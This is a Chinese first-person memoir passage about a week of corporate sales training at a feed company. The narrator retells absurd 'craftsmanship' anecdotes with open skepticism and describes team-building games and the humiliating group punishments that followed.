下午是宋人神集团技术总监陈博士给我们培训神牛牌饲料的相关知识。他从原料采购讲到成品出库的整个生产流程，重点强调了敬业的工匠精神：“产品质量是企业的生存基础与立足之本，忽视质量就是犯罪。我们宋人神集团对饲料原料质量要求严苛，作为美国奥特八生物科技有限公司的钻石级客户，他们为我们提供了欧美最高标准的原料采购体系。多年来，我们始终以最高标准把控原料品质。什么是真正的敬业精神？我们考察美国奥特八公司时，看到他们的厕所保洁员用超乎寻常的标准评估马桶洁净度——保洁员会当着参观者的面喝马桶里的水！这难以想象的标准、难以置信的程度，就是真正的敬业精神。我们宋人神的饲料，正是生产工人以这种精神一袋袋生产出来的。
什么是严谨的工匠精神？宋二海董事长年轻时，有位朋友在日本留学。因家境贫寒，朋友常到日本餐厅打工，其中一家餐厅有明文规定：所有的碗碟必须清洗六次才算合格。他这位朋友心想，清洗六次与清洗两三次、四次，用肉眼根本看不出任何区别。于是，他悄悄把碗碟全部只清洗三次，洗碗效率明显提高了一倍。
在餐厅里和他一起洗碗的同伴们惊奇地发现，同样的时间内，宋二海董事长这位朋友清洗的碗碟数量竟是他们的整整两倍，所获薪资报酬自然也翻了两倍。后来这件事传到餐厅总经理耳中，总经理悄悄在背后监督，发现他居然投机取巧只清洗了三次。总经理认为他未严格执行规定的清洗次数，是缺乏工匠精神的具体表现，也是不诚信的可耻行为，给餐厅带来了负面影响与耻辱，当即决定将他开除。再后来，随着事情持续发酵，传到日本政府领导人耳中，日本政府也认为他不配再留在日本，发文将他遣回中国。宋二海董事长的这位朋友回国后痛定思痛，发愤图强，创立了大名鼎鼎的陆牌男装。而我们宋人神集团对生产工人的要求，一直遵循碗碟必须清洗六次的严谨工匠精神，严格执行每一项饲料生产任务。
喝马桶水、碗碟必须清洗六次这种近乎变态的敬业精神，荒诞怪异的“工匠”精神，皆让人匪夷所思。当初我也曾怀疑是否真有其事，是否存在过于夸张的成分，但那时这些说法在我们曲靖神牛饲料公司流传甚广，大部分销售员也经常向客户宣传，宋人神集团的饲料质量标准正是按照这种要求打造的。大部分销售员也以穿陆牌男装为荣，将其视为工匠精神的象征。当然，我也曾是陆牌男装的坚定簇拥者之一。
往后的培训中，有三天是户外拓展训练。参加训练的人员被随机分成12个小组，小组之间通过拓展项目相互比赛积分，最终根据胜败率与积分多少综合确定排名。其中“背摔”项目要求小组队员轮流站在1.5米高的高台上，双手交叉紧贴胸前，两脚并拢，全身挺直向后倒下，过程中身体不能弯曲或翻滚，双手也不得向外打开。负责保护的队员分成两排，面对面紧挨着弓步站立，两手掌心向上搭在前方队员肩膀上，上肢和头部尽量后仰，当背摔队员从高处倒下时，全队协力将其平稳接住。若未能安全接住则按失败论处，依照规则扣除相应积分。
“雷区取水”项目是在直径5米的圆形空地中央放置一盆水，负责取水的队员不能直接走进圆形空地，只能在外面通过一根十几米长的绳子，在小组成员协助下取水，且手不能直接接触水盆边沿。20分钟内成功用杯子取到水的小组赢得相应积分，否则得0分。
“毕业墙”项目要求小组所有队员在40分钟内爬上一面4.5米高的光滑墙壁，过程中不允许借助任何外力和工具，包括衣服、皮带、绳索等，所有人必须从墙的正面爬到顶部。若小组中哪怕有一人未在规定时间内成功爬上去，即积分为0。上墙时不能助跑起跳，也不可采取空中借力、蹬踩的方式跃上墙顶，只能通过背负、肩扛、挺举、拉拽等方式，以队员身体为工具相互协作爬至顶部。
此外还有生死时速、断桥、电网、丛林生存、鳄鱼潭、无敌风火轮等其他户外拓展训练项目。
每个项目由各小组抽签进行比赛或积分，比赛中输掉3次以上、积分不足60分或综合排名倒数第一的小组，需接受相应惩罚。主要惩罚措施包括：每个成员轮流面向小组所有队员，先哈哈大笑30秒，再大哭30秒且需哭出眼泪；每个成员轮流面向小组所有队员，先90度低头鞠躬两分钟，再单膝跪地道歉两分钟；小小组成员之间互相扇耳光或自扇耳光，甚至常有队员在情绪激动时脱下鞋子，用鞋底抽打自己或其他组员的脸；未犯错的组员围成圈面对面坐下，双腿伸直，让犯错队员重重踩在他们的小腿上绕圈奔跑，同时大声喊出——“虽然是我错了，但我不在乎你们！”
部分队员在户外拓展训练中被感动得全身颤抖，双膝跪地诚恳道歉，或是五体投地表达深切感谢；有的队员因惭愧而悲痛欲绝，哭得撕心裂肺，甚至自责到用头撞墙；还有队员咬破手指，以血起誓，承诺永远忠诚于宋人神集团。
为期三天的户外拓展训练结束后，许多队员熬出了黑眼圈，浑身沾满污秽与油腻，声音嘶哑，鼻青脸肿，形容憔悴不堪。
七天的培训结束后，学员们都顺利拿到了人生中效率最高、速度最快的毕业证书——红壳金字的宋人神大学毕业证书。
培训圆满完成、即将离别的那天早上，大家聚集在宋人神大学门口，三五成群地围在一起，许多人抱头痛哭，不舍分离。场面满是缅怀伤感，气氛中充满了留恋与不舍！从此你我义结金兰，以兄弟相称，手足情义今生难忘。刚松开的手，又像被520胶水粘住般再次紧握；刚放开的拥抱，又像久别重逢的恋人一样，紧紧相拥在一起。